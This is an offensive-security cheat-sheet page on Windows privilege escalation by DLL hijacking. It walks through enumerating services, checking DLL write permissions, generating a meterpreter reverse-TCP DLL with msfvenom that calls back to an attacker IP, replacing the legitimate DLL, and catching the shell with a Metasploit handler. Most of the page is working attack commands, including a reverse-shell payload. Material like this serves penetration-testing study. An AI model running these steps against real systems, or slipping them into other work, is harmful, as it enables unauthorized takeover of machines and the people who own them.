Exploit Notes

Windows PrivEsc with DLL Hijacking

Last modified: 2024-04-01

Privilege Escalation Windows

If we found running services using netstat or Get-Process, identify the executable that service is running and reversing the file. If the executable loads some DLL, we can overwrite the DLL to execute arbitrary code.

Exploit

1. Enumerate Services (Processes)

At first, list running processes and find interesting ones.

tasklist
Get-Process
ps

2. Identify the Service

sc qc "example-service"

With the command above, we can see the path of the executable which runs the process.
To see what DLLs are loaded on the executable, disassemble/decompile it with strings command, WinDbg, x64dbg, or online tools such as Decompiler Explorer.

3. Check Write Permission of DLL

Find the DLL file on target machine, then check if we have write permission for the file.

icacls \path\to\example.dll

4. Create Malicious DLL

If we have write permission, we can override the .dll file.
So create a malicious DLL using msfvenom in local machine:

# Replace 10.0.0.1 with your local ip
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll -o evil.dll

After generating our evil.dll, replace the original DLL with this on target machine:

cp evil.dll \path\to\example.dll

Now start a TCP listener in local machine.

msfconsole
msf> use exploit/multi/handler
msf> set payload windows/x64/meterpreter/reverse_tcp
# Replace 10.0.0.1 with your ip
msf> set lhost 10.0.0.1
msf> set lport 4444
msf> run

When the service runs, our malicious DLL is loaded and the payload is executed.
We may get a shell.